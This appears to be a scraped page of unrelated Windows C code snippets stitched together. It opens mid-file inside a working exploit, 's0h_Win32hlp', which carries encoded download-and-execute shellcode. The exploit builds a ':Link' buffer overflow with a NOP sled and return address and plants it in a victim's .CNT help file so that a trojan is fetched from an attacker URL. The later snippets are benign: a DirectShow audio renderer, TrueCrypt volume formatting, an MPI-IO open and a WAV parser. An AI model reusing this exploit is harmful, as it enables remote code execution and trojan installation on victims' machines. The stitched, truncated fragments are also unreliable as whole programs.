"\xeb\xf5\xf4\xff\x5e\xdd\xbd\x9d\xf6\xf7\x12\x75\xc8\xc8\xcc\x66\x49\xf1\xf0\xf5"
"\xfc\xd8\xf3\x97\xf3\xeb\xf3\x9b\x71\xcc\x66\x66\x66\xaa\x42\xca\xf1\xf8\xb7\xfc"
"\xe1\x5f\xdd\xbd\x9d\xfc\x12\x55\xca\xca\xc8\x66\xec\x81\xca\x66\x49\xaa\x42\xf1"
"\xf0\xf7\xdc\xe1\xf3\x98\xf3\xd2\xca\x71\xb5\x66\x66\x66\x14\xd5\xbd\x89\xf3\x98"
"\xc8\x66\x49\xaa\x42\xf1\xe1\xf0\xed\xc9\xf3\x98\xf3\xd2\xca\x71\x8b\x66\x66\x66"
"\x66\x49\x71\xe6\x66\x66\x66";


printf (" * ***************************************************** *\n"
	" *                 s0h - Skin of humanity                *\n"
	" *                    http://s0h.cc/                     *\n"
	" * ***************************************************** *\n"
	"     Win32hlp exploit for : \":LINK overflow\"           *\n"
	" * ***************************************************** *\n"
	" * Discovered by ThreaT <*****@*****.**>.                 *\n"
	" * Coded by ThreaT <*****@*****.**>                       *\n"
	" * Hompage : http://s0h.cc/~threat/                      *\n" 
	" * Archive : http://s0h.cc/exploit/s0h_Win32hlp.c        *\n"
	" * ***************************************************** *\n"
	);

if (argc < 3)
{
	printf(
		" * ***************************************************** *\n"
		" * Usage : s0h_Win32hlp.exe <trojan> <CNT file> [offset] *\n"
		" *                                                       *\n"
		" * <trojan> = host to download the trojan (http:/-       *\n"
		" * /blah.plof/trojan.exe).                               *\n"
		" *                                                       *\n"
		" * <CNT file> = The CNT file.                            *\n"
		" *                                                       *\n"
		" * [offset] = Optionnal. This one defined a number betw- *\n"
		" * een 0 and 15 that can play with the return address. - *\n"
		" * Generaly, you must used 4 if the .HLP file is called  *\n"
		" * by an application.                                    *\n"
		" * ***************************************************** *\n"	
	);

	ExitProcess (1);
}

if (argv[3]) RetByte = atoi (argv[3]) + 0xE0;

len = taille + strlen (argv[1]) + 2 + 4;
url = (char *) malloc (strlen (argv[1]));
strcpy (url, argv[1]);

/*
* Create the final shellcode
*/

Shellcode = (unsigned char *) malloc (len);

// encrypt the URL
for (i=0;i<strlen (argv[1]); argv[1][i++]^=0x99);

// inject the RealGenericShellcode in the shellcode buffer
for (i=0;i<taille; Shellcode[i]=RealGenericShellcode[i++]);

// append crypted URL to the shellcode buffer
for (i,j=0;i<len - 1;Shellcode[i++]=argv[1][j++]);


Shellcode[len-6]=0x99; // URL delimitation
Shellcode[len-5]=0x2E; // f**k the winhlp32.exe parser

// append the RET ADDR
// Play with this bytes if the xploit don't work
Shellcode[len-4]=0x30;
Shellcode[len-3]=RetByte;
Shellcode[len-2]=0x06;
Shellcode[len-1]=0x00;


/*  Now, we make a vuln string for our exploit */

buffer = (unsigned char *) malloc (VulnLen);
memset (buffer,0,VulnLen);

lstrcpy (buffer,":Link ");
for (i=6; i < VulnLen - len; buffer[i++] = (char)0x90);
for (i,j=0; i < VulnLen; buffer[i++] = Shellcode[j++]);


/* Trap the CNT file specified with the vuln string */

ExploitFile = CreateFile (argv[2],GENERIC_READ+GENERIC_WRITE,
			  FILE_SHARE_READ+FILE_SHARE_WRITE,NULL,
			  OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if ( ExploitFile == INVALID_HANDLE_VALUE) {
	printf ("Error : cannot open cnt file '%s'\n",argv[2]);
	ExitProcess (1);
}

	FileSize = GetFileSize(ExploitFile, &lpFileSizeHigh);
	FileSize += lpFileSizeHigh*MAXDWORD;

	file = (char *)LocalAlloc (LPTR, FileSize + 2);
	file[0] = 0x0d;
	file[1] = 0x0a;
	file += 2;


	ReadFile(ExploitFile,file,FileSize,&lpNumberOfBytesWritten,NULL);
	
	SetFilePointer (ExploitFile,0,NULL,FILE_BEGIN);
	WriteFile (ExploitFile,buffer,VulnLen,&lpNumberOfBytesWritten,NULL);
	
	file -= 2;
	WriteFile (ExploitFile,file,FileSize+2,&lpNumberOfBytesWritten,NULL);
	
	CloseHandle(ExploitFile);
	
        printf (
		" * *******************************************************\n"
		" * The file is now traped and ready to download and exe- *\n"
		" * cute :                                                *\n"
		" * File : %s\n"
		" * At : %s\n"
		" * *******************************************************\n"
		,argv[2],url);
		
		if (RetByte != 0xE5)
			printf (
				" * *******************************************************\n"
				" * You have specified this address : 0x0006%x30          *\n"
				" * The abitrary will loaded since an application.        *\n"
				" * *******************************************************\n"
				,RetByte);
			

	return 0;
}
STDMETHODIMP CAudioRawFileRenderer::setParameter(__int64 command, __int64  data1, __int64  data2, __int64 data3)
{
    CAutoLock lock(&m_ReceiveLock);
    
    HRESULT hr=NOERROR;

    switch(command)
        {
        case CMD_SPLITEVENT:
        if ( 
            ((m_SplitMode==OPT_SPLIT_DISCONTINUITY)&&m_IsDiscontinuity) ||
             (m_SplitMode==OPT_SPLIT_EVENT)
           )
            {
            CloseFile();
            dprintf("SplitEvent");
            if (lstrlenW(m_pOldFileName)>0)
                {
                char str[264]="";
                char strOld[264]="";
                DWORD dwWritten=0;
                DWORD result=0;
                HANDLE hFile=INVALID_HANDLE_VALUE;

		        WideCharToMultiByte(CP_ACP, 0, m_pFileName   , -1, str   , 264, NULL, NULL);
		        WideCharToMultiByte(CP_ACP, 0, m_pOldFileName, -1, strOld, 264, NULL, NULL);
                MoveFile(str, strOld);

                hFile = CreateFile( strOld,   // The filename
                                    GENERIC_WRITE,         // File access
                                    (DWORD) 0,             // Share access
                                    NULL,                  // Security
                                    OPEN_EXISTING,         // Open flags
                                    FILE_ATTRIBUTE_NORMAL,             // More flags
                                    NULL);                 // Template
                if (INVALID_HANDLE_VALUE!=hFile)
                    {
                    result=SetFilePointer(hFile, 0, NULL, FILE_END); 
                    LockFile(hFile, result, 0, result + sizeof(m_OldID3), 0); 
                    result=WriteFile(hFile,(PVOID)&m_OldID3,(DWORD)sizeof(m_OldID3),&dwWritten,NULL);
                    UnlockFile(hFile, result, 0, result + sizeof(m_OldID3), 0); 
                    CloseHandle(hFile);
                    }
                
                }
            OpenFile();
            }
            break;

        case CMD_SPLITDATA:
            {
            dprintf("SplitData");
            lstrcpyW(m_pOldFileName, (WCHAR *)data2);
            CopyMemory(&m_OldID3, (struct ID3 *)data1, sizeof(struct ID3));
            }
            break;
        
        case CMD_SPLITMODE:
            m_SplitMode=(int)data1;
            break;

        default:
            hr=E_NOTIMPL;
            break;
        }
    return(hr);
}
Пример #27
0
int TCFormatVolume (volatile FORMAT_VOL_PARAMETERS *volParams)
{
	int nStatus;
	PCRYPTO_INFO cryptoInfo = NULL;
	HANDLE dev = INVALID_HANDLE_VALUE;
	DWORD dwError;
	char header[TC_VOLUME_HEADER_EFFECTIVE_SIZE];
	unsigned __int64 num_sectors, startSector;
	fatparams ft;
	FILETIME ftCreationTime;
	FILETIME ftLastWriteTime;
	FILETIME ftLastAccessTime;
	BOOL bTimeStampValid = FALSE;
	BOOL bInstantRetryOtherFilesys = FALSE;
	char dosDev[TC_MAX_PATH] = { 0 };
	char devName[MAX_PATH] = { 0 };
	int driveLetter = -1;
	WCHAR deviceName[MAX_PATH];
	uint64 dataOffset, dataAreaSize;
	LARGE_INTEGER offset;
	BOOL bFailedRequiredDASD = FALSE;
	HWND hwndDlg = volParams->hwndDlg;

	FormatSectorSize = volParams->sectorSize;

	if (FormatSectorSize < TC_MIN_VOLUME_SECTOR_SIZE
		|| FormatSectorSize > TC_MAX_VOLUME_SECTOR_SIZE
		|| FormatSectorSize % ENCRYPTION_DATA_UNIT_SIZE != 0)
	{
		Error ("SECTOR_SIZE_UNSUPPORTED", hwndDlg);
		return ERR_DONT_REPORT; 
	}

	/* WARNING: Note that if Windows fails to format the volume as NTFS and the volume size is
	less than the maximum FAT size, the user is asked within this function whether he wants to instantly
	retry FAT format instead (to avoid having to re-create the whole container again). If the user
	answers yes, some of the input parameters are modified, the code below 'begin_format' is re-executed 
	and some destructive operations that were performed during the first attempt must be (and are) skipped. 
	Therefore, whenever adding or modifying any potentially destructive operations below 'begin_format',
	determine whether they (or their portions) need to be skipped during such a second attempt; if so, 
	use the 'bInstantRetryOtherFilesys' flag to skip them. */

	if (volParams->hiddenVol)
	{
		dataOffset = volParams->hiddenVolHostSize - TC_VOLUME_HEADER_GROUP_SIZE - volParams->size;
	}
	else
	{
		if (volParams->size <= TC_TOTAL_VOLUME_HEADERS_SIZE)
			return ERR_VOL_SIZE_WRONG;

		dataOffset = TC_VOLUME_DATA_OFFSET;
	}

	dataAreaSize = GetVolumeDataAreaSize (volParams->hiddenVol, volParams->size);

	num_sectors = dataAreaSize / FormatSectorSize;

	if (volParams->bDevice)
	{
		StringCbCopyA ((char *)deviceName, sizeof(deviceName), volParams->volumePath);
		ToUNICODE ((char *)deviceName, sizeof(deviceName));

		driveLetter = GetDiskDeviceDriveLetter (deviceName);
	}

	VirtualLock (header, sizeof (header));

	nStatus = CreateVolumeHeaderInMemory (hwndDlg, FALSE,
				     header,
				     volParams->ea,
					 FIRST_MODE_OF_OPERATION_ID,
				     volParams->password,
				     volParams->pkcs5,
					  volParams->pim,
					 NULL,
				     &cryptoInfo,
					 dataAreaSize,
					 volParams->hiddenVol ? dataAreaSize : 0,
					 dataOffset,
					 dataAreaSize,
					 0,
					 volParams->headerFlags,
					 FormatSectorSize,
					 FALSE);

	if (nStatus != 0)
	{
		burn (header, sizeof (header));
		VirtualUnlock (header, sizeof (header));
		return nStatus;
	}

begin_format:

	if (volParams->bDevice)
	{
		/* Device-hosted volume */

		DWORD dwResult;
		int nPass;

		if (FakeDosNameForDevice (volParams->volumePath, dosDev, sizeof(dosDev), devName, sizeof(devName), FALSE) != 0)
			return ERR_OS_ERROR;

		if (IsDeviceMounted (devName))
		{
			if ((dev = DismountDrive (devName, volParams->volumePath)) == INVALID_HANDLE_VALUE)
			{
				Error ("FORMAT_CANT_DISMOUNT_FILESYS", hwndDlg);
				nStatus = ERR_DONT_REPORT; 
				goto error;
			}

			/* Gain "raw" access to the partition (it contains a live filesystem and the filesystem driver 
			would otherwise prevent us from writing to hidden sectors). */

			if (!DeviceIoControl (dev,
				FSCTL_ALLOW_EXTENDED_DASD_IO,
				NULL,
				0,   
				NULL,
				0,
				&dwResult,
				NULL))
			{
				bFailedRequiredDASD = TRUE;
			}
		}
		else if (IsOSAtLeast (WIN_VISTA) && driveLetter == -1)
		{
			// Windows Vista doesn't allow overwriting sectors belonging to an unformatted partition 
			// to which no drive letter has been assigned under the system. This problem can be worked
			// around by assigning a drive letter to the partition temporarily.

			char szDriveLetter[] = { 'A', ':', 0 };
			char rootPath[] = { 'A', ':', '\\', 0 };
			char uniqVolName[MAX_PATH+1] = { 0 };
			int tmpDriveLetter = -1;
			BOOL bResult = FALSE;

			tmpDriveLetter = GetFirstAvailableDrive ();
 
			if (tmpDriveLetter != -1)
			{
				rootPath[0] += (char) tmpDriveLetter;
				szDriveLetter[0] += (char) tmpDriveLetter;

				if (DefineDosDevice (DDD_RAW_TARGET_PATH, szDriveLetter, volParams->volumePath))
				{
					bResult = GetVolumeNameForVolumeMountPoint (rootPath, uniqVolName, MAX_PATH);

					DefineDosDevice (DDD_RAW_TARGET_PATH|DDD_REMOVE_DEFINITION|DDD_EXACT_MATCH_ON_REMOVE,
						szDriveLetter,
						volParams->volumePath);

					if (bResult 
						&& SetVolumeMountPoint (rootPath, uniqVolName))
					{
						// The drive letter can be removed now
						DeleteVolumeMountPoint (rootPath);
					}
				}
			}
		}

		// For extra safety, we will try to gain "raw" access to the partition. Note that this should actually be
		// redundant because if the filesystem was mounted, we already tried to obtain DASD above. If we failed,
		// bFailedRequiredDASD was set to TRUE and therefore we will perform pseudo "quick format" below. However, 
		// for extra safety, in case IsDeviceMounted() failed to detect a live filesystem, we will blindly
		// send FSCTL_ALLOW_EXTENDED_DASD_IO (possibly for a second time) without checking the result.

		DeviceIoControl (dev,
			FSCTL_ALLOW_EXTENDED_DASD_IO,
			NULL,
			0,   
			NULL,
			0,
			&dwResult,
			NULL);


		// If DASD is needed but we failed to obtain it, perform open - 'quick format' - close - open 
		// so that the filesystem driver does not prevent us from formatting hidden sectors.
		for (nPass = (bFailedRequiredDASD ? 0 : 1); nPass < 2; nPass++)
		{
			int retryCount;

			retryCount = 0;

			// Try exclusive access mode first
			// Note that when exclusive access is denied, it is worth retrying (usually succeeds after a few tries).
			while (dev == INVALID_HANDLE_VALUE && retryCount++ < EXCL_ACCESS_MAX_AUTO_RETRIES)
			{
				dev = CreateFile (devName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

				if (retryCount > 1)
					Sleep (EXCL_ACCESS_AUTO_RETRY_DELAY);
			}

			if (dev == INVALID_HANDLE_VALUE)
			{
				// Exclusive access denied -- retry in shared mode
				dev = CreateFile (devName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
				if (dev != INVALID_HANDLE_VALUE)
				{
					if (IDNO == MessageBoxW (volParams->hwndDlg, GetString ("DEVICE_IN_USE_FORMAT"), lpszTitle, MB_YESNO|MB_ICONWARNING|MB_DEFBUTTON2))
					{
						nStatus = ERR_DONT_REPORT; 
						goto error;
					}
				}
				else
				{
					handleWin32Error (volParams->hwndDlg, SRC_POS);
					Error ("CANT_ACCESS_VOL", hwndDlg);
					nStatus = ERR_DONT_REPORT; 
					goto error;
				}
			}

			if (volParams->hiddenVol || bInstantRetryOtherFilesys)
				break;	// The following "quick format" operation would damage the outer volume

			if (nPass == 0)
			{
				char buf [2 * TC_MAX_VOLUME_SECTOR_SIZE];
				DWORD bw;

				// Perform pseudo "quick format" so that the filesystem driver does not prevent us from 
				// formatting hidden sectors
				memset (buf, 0, sizeof (buf));

				if (!WriteFile (dev, buf, sizeof (buf), &bw, NULL))
				{
					nStatus = ERR_OS_ERROR; 
					goto error;
				}

				FlushFileBuffers (dev);
				CloseHandle (dev);
				dev = INVALID_HANDLE_VALUE;
			}
		}

		if (DeviceIoControl (dev, FSCTL_IS_VOLUME_MOUNTED, NULL, 0, NULL, 0, &dwResult, NULL))
		{
			Error ("FORMAT_CANT_DISMOUNT_FILESYS", hwndDlg);
			nStatus = ERR_DONT_REPORT; 
			goto error;
		}
	}
	else
	{
		/* File-hosted volume */

		dev = CreateFile (volParams->volumePath, GENERIC_READ | GENERIC_WRITE,
			(volParams->hiddenVol || bInstantRetryOtherFilesys) ? (FILE_SHARE_READ | FILE_SHARE_WRITE) : 0,
			NULL, (volParams->hiddenVol || bInstantRetryOtherFilesys) ? OPEN_EXISTING : CREATE_ALWAYS, 0, NULL);

		if (dev == INVALID_HANDLE_VALUE)
		{
			nStatus = ERR_OS_ERROR; 
			goto error;
		}

		DisableFileCompression (dev);

		if (!volParams->hiddenVol && !bInstantRetryOtherFilesys)
		{
			LARGE_INTEGER volumeSize;
			volumeSize.QuadPart = dataAreaSize + TC_VOLUME_HEADER_GROUP_SIZE;

			if (volParams->sparseFileSwitch && volParams->quickFormat)
			{
				// Create as sparse file container
				DWORD tmp;
				if (!DeviceIoControl (dev, FSCTL_SET_SPARSE, NULL, 0, NULL, 0, &tmp, NULL))
				{
					nStatus = ERR_OS_ERROR; 
					goto error;
				}
			}

			// Preallocate the file
			if (!SetFilePointerEx (dev, volumeSize, NULL, FILE_BEGIN)
				|| !SetEndOfFile (dev)
				|| SetFilePointer (dev, 0, NULL, FILE_BEGIN) != 0)
			{
				nStatus = ERR_OS_ERROR;
				goto error;
			}
		}
	}

	if (volParams->hiddenVol && !volParams->bDevice && bPreserveTimestamp)
	{
		if (GetFileTime ((HANDLE) dev, &ftCreationTime, &ftLastAccessTime, &ftLastWriteTime) == 0)
			bTimeStampValid = FALSE;
		else
			bTimeStampValid = TRUE;
	}

	KillTimer (volParams->hwndDlg, TIMER_ID_RANDVIEW);

	/* Volume header */

	// Hidden volume setup
	if (volParams->hiddenVol)
	{
		LARGE_INTEGER headerOffset;

		// Check hidden volume size
		if (volParams->hiddenVolHostSize < TC_MIN_HIDDEN_VOLUME_HOST_SIZE || volParams->hiddenVolHostSize > TC_MAX_HIDDEN_VOLUME_HOST_SIZE)
		{		
			nStatus = ERR_VOL_SIZE_WRONG;
			goto error;
		}

		// Seek to hidden volume header location
		
		headerOffset.QuadPart = TC_HIDDEN_VOLUME_HEADER_OFFSET;

		if (!SetFilePointerEx ((HANDLE) dev, headerOffset, NULL, FILE_BEGIN))
		{
			nStatus = ERR_OS_ERROR;
			goto error;
		}
	}
	else if (bInstantRetryOtherFilesys)
	{
		// The previous file system format failed and the user wants to try again with a different file system.
		// The volume header had been written successfully so we need to seek to the byte after the header.

		LARGE_INTEGER offset;
		offset.QuadPart = TC_VOLUME_DATA_OFFSET;
		if (!SetFilePointerEx ((HANDLE) dev, offset, NULL, FILE_BEGIN))
		{
			nStatus = ERR_OS_ERROR;
			goto error;
		}
	}

	if (!bInstantRetryOtherFilesys)
	{
		// Write the volume header
		if (!WriteEffectiveVolumeHeader (volParams->bDevice, dev, header))
		{
			nStatus = ERR_OS_ERROR;
			goto error;
		}

		// To prevent fragmentation, write zeroes to reserved header sectors which are going to be filled with random data
		if (!volParams->bDevice && !volParams->hiddenVol)
		{
			byte buf[TC_VOLUME_HEADER_GROUP_SIZE - TC_VOLUME_HEADER_EFFECTIVE_SIZE];
			DWORD bytesWritten;
			ZeroMemory (buf, sizeof (buf));

			if (!WriteFile (dev, buf, sizeof (buf), &bytesWritten, NULL))
			{
				nStatus = ERR_OS_ERROR;
				goto error;
			}

			if (bytesWritten != sizeof (buf))
			{
				nStatus = ERR_PARAMETER_INCORRECT;
				goto error;
			}
		}
	}

	if (volParams->hiddenVol)
	{
		// Calculate data area position of hidden volume
		cryptoInfo->hiddenVolumeOffset = dataOffset;

		// Validate the offset
		if (dataOffset % FormatSectorSize != 0)
		{
			nStatus = ERR_VOL_SIZE_WRONG; 
			goto error;
		}

		volParams->quickFormat = TRUE;		// To entirely format a hidden volume would be redundant
	}

	/* Data area */
	startSector = dataOffset / FormatSectorSize;

	// Format filesystem

	switch (volParams->fileSystem)
	{
	case FILESYS_NONE:
	case FILESYS_NTFS:

		if (volParams->bDevice && !StartFormatWriteThread())
		{
			nStatus = ERR_OS_ERROR; 
			goto error;
		}

		nStatus = FormatNoFs (hwndDlg, startSector, num_sectors, dev, cryptoInfo, volParams->quickFormat);

		if (volParams->bDevice)
			StopFormatWriteThread();

		break;
		
	case FILESYS_FAT:
		if (num_sectors > 0xFFFFffff)
		{
			nStatus = ERR_VOL_SIZE_WRONG; 
			goto error;
		}

		// Calculate the fats, root dir etc
		ft.num_sectors = (unsigned int) (num_sectors);

#if TC_MAX_VOLUME_SECTOR_SIZE > 0xFFFF
#error TC_MAX_VOLUME_SECTOR_SIZE > 0xFFFF
#endif

		ft.sector_size = (uint16) FormatSectorSize;
		ft.cluster_size = volParams->clusterSize;
		memcpy (ft.volume_name, "NO NAME    ", 11);
		GetFatParams (&ft); 
		*(volParams->realClusterSize) = ft.cluster_size * FormatSectorSize;

		if (volParams->bDevice && !StartFormatWriteThread())
		{
			nStatus = ERR_OS_ERROR; 
			goto error;
		}

		nStatus = FormatFat (hwndDlg, startSector, &ft, (void *) dev, cryptoInfo, volParams->quickFormat);

		if (volParams->bDevice)
			StopFormatWriteThread();

		break;

	default:
		nStatus = ERR_PARAMETER_INCORRECT; 
		goto error;
	}

	if (nStatus != ERR_SUCCESS)
		goto error;

	// Write header backup
	offset.QuadPart = volParams->hiddenVol ? volParams->hiddenVolHostSize - TC_HIDDEN_VOLUME_HEADER_OFFSET : dataAreaSize + TC_VOLUME_HEADER_GROUP_SIZE;

	if (!SetFilePointerEx ((HANDLE) dev, offset, NULL, FILE_BEGIN))
	{
		nStatus = ERR_OS_ERROR;
		goto error;
	}

	nStatus = CreateVolumeHeaderInMemory (hwndDlg, FALSE,
		header,
		volParams->ea,
		FIRST_MODE_OF_OPERATION_ID,
		volParams->password,
		volParams->pkcs5,
		volParams->pim,
		cryptoInfo->master_keydata,
		&cryptoInfo,
		dataAreaSize,
		volParams->hiddenVol ? dataAreaSize : 0,
		dataOffset,
		dataAreaSize,
		0,
		volParams->headerFlags,
		FormatSectorSize,
		FALSE);

	if (!WriteEffectiveVolumeHeader (volParams->bDevice, dev, header))
	{
		nStatus = ERR_OS_ERROR;
		goto error;
	}

	// Fill reserved header sectors (including the backup header area) with random data
	if (!volParams->hiddenVol)
	{
		nStatus = WriteRandomDataToReservedHeaderAreas (hwndDlg, dev, cryptoInfo, dataAreaSize, FALSE, FALSE);

		if (nStatus != ERR_SUCCESS)
			goto error;
	}

#ifndef DEBUG
	if (volParams->quickFormat && volParams->fileSystem != FILESYS_NTFS)
		Sleep (500);	// User-friendly GUI
#endif

error:
	dwError = GetLastError();

	burn (header, sizeof (header));
	VirtualUnlock (header, sizeof (header));

	if (dev != INVALID_HANDLE_VALUE)
	{
		if (!volParams->bDevice && !volParams->hiddenVol && nStatus != 0)
		{
			// Remove preallocated part before closing file handle if format failed
			if (SetFilePointer (dev, 0, NULL, FILE_BEGIN) == 0)
				SetEndOfFile (dev);
		}

		FlushFileBuffers (dev);

		if (bTimeStampValid)
			SetFileTime (dev, &ftCreationTime, &ftLastAccessTime, &ftLastWriteTime);

		CloseHandle (dev);
		dev = INVALID_HANDLE_VALUE;
	}

	if (nStatus != 0)
	{
		SetLastError(dwError);
		goto fv_end;
	}

	if (volParams->fileSystem == FILESYS_NTFS)
	{
		// Quick-format volume as NTFS
		int driveNo = GetLastAvailableDrive ();
		MountOptions mountOptions;
		int retCode;

		ZeroMemory (&mountOptions, sizeof (mountOptions));

		if (driveNo == -1)
		{
			MessageBoxW (volParams->hwndDlg, GetString ("NO_FREE_DRIVES"), lpszTitle, ICON_HAND);
			MessageBoxW (volParams->hwndDlg, GetString ("FORMAT_NTFS_STOP"), lpszTitle, ICON_HAND);

			nStatus = ERR_NO_FREE_DRIVES;
			goto fv_end;
		}

		mountOptions.ReadOnly = FALSE;
		mountOptions.Removable = FALSE;
		mountOptions.ProtectHiddenVolume = FALSE;
		mountOptions.PreserveTimestamp = bPreserveTimestamp;
		mountOptions.PartitionInInactiveSysEncScope = FALSE;
		mountOptions.UseBackupHeader = FALSE;

		if (MountVolume (volParams->hwndDlg, driveNo, volParams->volumePath, volParams->password, volParams->pkcs5, volParams->pim, FALSE, FALSE, TRUE, &mountOptions, FALSE, TRUE) < 1)
		{
			MessageBoxW (volParams->hwndDlg, GetString ("CANT_MOUNT_VOLUME"), lpszTitle, ICON_HAND);
			MessageBoxW (volParams->hwndDlg, GetString ("FORMAT_NTFS_STOP"), lpszTitle, ICON_HAND);
			nStatus = ERR_VOL_MOUNT_FAILED;
			goto fv_end;
		}

		if (!IsAdmin () && IsUacSupported ())
			retCode = UacFormatNtfs (volParams->hwndDlg, driveNo, volParams->clusterSize);
		else
			retCode = FormatNtfs (driveNo, volParams->clusterSize);

		if (retCode != TRUE)
		{
			if (!UnmountVolumeAfterFormatExCall (volParams->hwndDlg, driveNo))
				MessageBoxW (volParams->hwndDlg, GetString ("CANT_DISMOUNT_VOLUME"), lpszTitle, ICON_HAND);

			if (dataAreaSize <= TC_MAX_FAT_SECTOR_COUNT * FormatSectorSize)
			{
				if (AskErrYesNo ("FORMAT_NTFS_FAILED_ASK_FAT", hwndDlg) == IDYES)
				{
					// NTFS format failed and the user wants to try FAT format immediately
					volParams->fileSystem = FILESYS_FAT;
					bInstantRetryOtherFilesys = TRUE;
					volParams->quickFormat = TRUE;		// Volume has already been successfully TC-formatted
					volParams->clusterSize = 0;		// Default cluster size
					goto begin_format;
				}
			}
			else
				Error ("FORMAT_NTFS_FAILED", hwndDlg);

			nStatus = ERR_DONT_REPORT;
			goto fv_end;
		}

		if (!UnmountVolumeAfterFormatExCall (volParams->hwndDlg, driveNo))
			MessageBoxW (volParams->hwndDlg, GetString ("CANT_DISMOUNT_VOLUME"), lpszTitle, ICON_HAND);
	}

fv_end:
	dwError = GetLastError();

	if (dosDev[0])
		RemoveFakeDosName (volParams->volumePath, dosDev);

	crypto_close (cryptoInfo);

	SetLastError (dwError);
	return nStatus;
}
Пример #28
0
void ADIOI_NTFS_Open(ADIO_File fd, int *error_code)
{
    /*int perm, old_mask, amode;*/
	DWORD Access,Mode,Flags,error;
	LARGE_INTEGER Pos;
#ifndef PRINT_ERR_MSG
    static char myname[] = "ADIOI_NTFS_OPEN";
#endif

	/* TODO: Set access rights correctly */
#if 0
    if (fd->perm == ADIO_PERM_NULL) {
	old_mask = umask(022);
	umask(old_mask);
	perm = old_mask ^ 0666;
    }
    else perm = fd->perm;
#endif

    
	Access = 0;

	if (fd->access_mode & ADIO_RDONLY)
		Access |=  GENERIC_READ;
	if (fd->access_mode & ADIO_WRONLY)
		Access |=  GENERIC_WRITE;
	if (fd->access_mode & ADIO_RDWR)
		Access =  GENERIC_READ|GENERIC_WRITE;

	Mode = OPEN_EXISTING;

    if (fd->access_mode & ADIO_CREATE) {
		if (fd->access_mode & ADIO_EXCL) {
			Mode = CREATE_NEW;
		} else {
			Mode = OPEN_ALWAYS;
		}

	}
    if(fd->access_mode & ADIO_SEQUENTIAL)
		Flags = FILE_FLAG_SEQUENTIAL_SCAN;
	else
		Flags = FILE_FLAG_RANDOM_ACCESS;
	if(fd->iomode == M_ASYNC || fd->iomode == M_UNIX)
		Flags |= FILE_FLAG_OVERLAPPED;

	fd->fd_sys=CreateFile(fd->filename,Access,FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,
		       Mode,Flags,NULL);

    if ((fd->fd_sys != INVALID_HANDLE_VALUE) && (fd->access_mode & ADIO_APPEND)) {
		Pos.QuadPart=0;
		Pos.LowPart=SetFilePointer(fd->fd_sys,Pos.LowPart,&Pos.HighPart,FILE_END);
		fd->fp_sys_posn= fd->fp_ind = Pos.QuadPart;
    } else error = GetLastError();
	MPI_Barrier(fd->comm);
	/* the barrier ensures that no process races ahead and modifies
           the file size before all processes have opened the file. */
#ifdef PRINT_ERR_MSG
    *error_code = (fd->fd_sys == INVALID_HANDLE_VALUE) ? MPI_ERR_UNKNOWN : MPI_SUCCESS;
#else
    if(fd->fd_sys == INVALID_HANDLE_VALUE) {
	*error_code = MPIR_Err_setmsg(MPI_ERR_IO, MPIR_ADIO_ERROR,
	    myname, "I/O Error", "I/O Error: %s", ad_ntfs_error(error));
	ADIOI_Error(fd, *error_code, myname);	    
    }
#endif
}
Пример #29
0
int pcmwav_open(TCHAR *fname, DWORD access, pcmwavfile *opwf) {

	RIFFhdr		rhdr;
	fmt_sub		fmt;
	DWORD		nread;
	char		have_fmt = 0;
	unsigned long	subchunk, subchunk_size;

	opwf->winfile = CreateFile(fname, access, 0, NULL,
						OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (opwf->winfile == INVALID_HANDLE_VALUE) {
		swprintf(pcmwav_error, _T("Cannot open file %s.\n"), fname);
		return 0;
	}

	// Read RIFF header
	ReadFile(opwf->winfile, &rhdr, sizeof(rhdr), &nread, NULL);

	// Check it
	if ((rhdr.ChunkID != 0x46464952 /* 'RIFF' */) || (rhdr.Format != 0x45564157 /* 'WAVE' */)) {
		swprintf(pcmwav_error, _T("This is not a PCM WAV file.\n"));
		CloseHandle(opwf->winfile);
		return 0;
	}

	/* read subchunks until we encounter 'data' */
	do {
		// Read subchunk ID
		if (!ReadFile(opwf->winfile, &subchunk, sizeof(subchunk), &nread, NULL)) {
			swprintf(pcmwav_error, _T("Read error: this is not a correct PCM WAV file.\n"));
			CloseHandle(opwf->winfile);
			return 0;
		}

		if (subchunk == 0x20746D66 /* 'fmt ' */) {
			// Read subchunk 1
			ReadFile(opwf->winfile, &fmt, sizeof(fmt), &nread, NULL);

			// Check it
			if (fmt.AudioFormat != 1) {
				swprintf(pcmwav_error, _T("Error in format subchunk: this is not a PCM WAV file.\n"));
				CloseHandle(opwf->winfile);
				return 0;
			}

			opwf->bitspersample = fmt.BitsPerSample;

			if ((opwf->bitspersample != 8) && (opwf->bitspersample != 16)) {
				swprintf(pcmwav_error, _T("Can only deal with 8-bit or 16-bit samples.\n"));
				CloseHandle(opwf->winfile);
				return 0;
			}

			// Skip any extra header bytes
			if (fmt.Subchunk1Size - 16)
				SetFilePointer(opwf->winfile, fmt.Subchunk1Size - 16, NULL, FILE_CURRENT);
			
			have_fmt = 1;
		} else if (subchunk != 0x61746164 /* 'data' */) {
			// unknown subchunk - read size and skip
			ReadFile(opwf->winfile, &subchunk_size, sizeof(subchunk_size), &nread, NULL);
			SetFilePointer(opwf->winfile, subchunk_size, NULL, FILE_CURRENT);
		}

	} while (subchunk != 0x61746164 /* 'data' */);

	if (!have_fmt) {
		swprintf(pcmwav_error, _T("Encountered data subchunk, but no format subchunk found.\n"));
		CloseHandle(opwf->winfile);
		return 0;
	}

	/* read data chunk size */
	ReadFile(opwf->winfile, &opwf->ndatabytes, sizeof(opwf->ndatabytes), &nread, NULL);

	opwf->samplerate = fmt.SampleRate;
	opwf->nchannels = fmt.NumChannels;
	opwf->datapos = SetFilePointer(opwf->winfile, 0, NULL, FILE_CURRENT);
	
	return 1;
}
Пример #30
0
EXECUTION_STATE VDSetThreadExecutionStateW32(EXECUTION_STATE esFlags) {
	EXECUTION_STATE es = 0;

	// SetThreadExecutionState(): requires Windows 98+/2000+.
	typedef EXECUTION_STATE (WINAPI *tSetThreadExecutionState)(EXECUTION_STATE);
	static tSetThreadExecutionState pFunc = (tSetThreadExecutionState)GetProcAddress(GetModuleHandle("kernel32"), "SetThreadExecutionState");

	if (pFunc)
		es = pFunc(esFlags);

	return es;
}

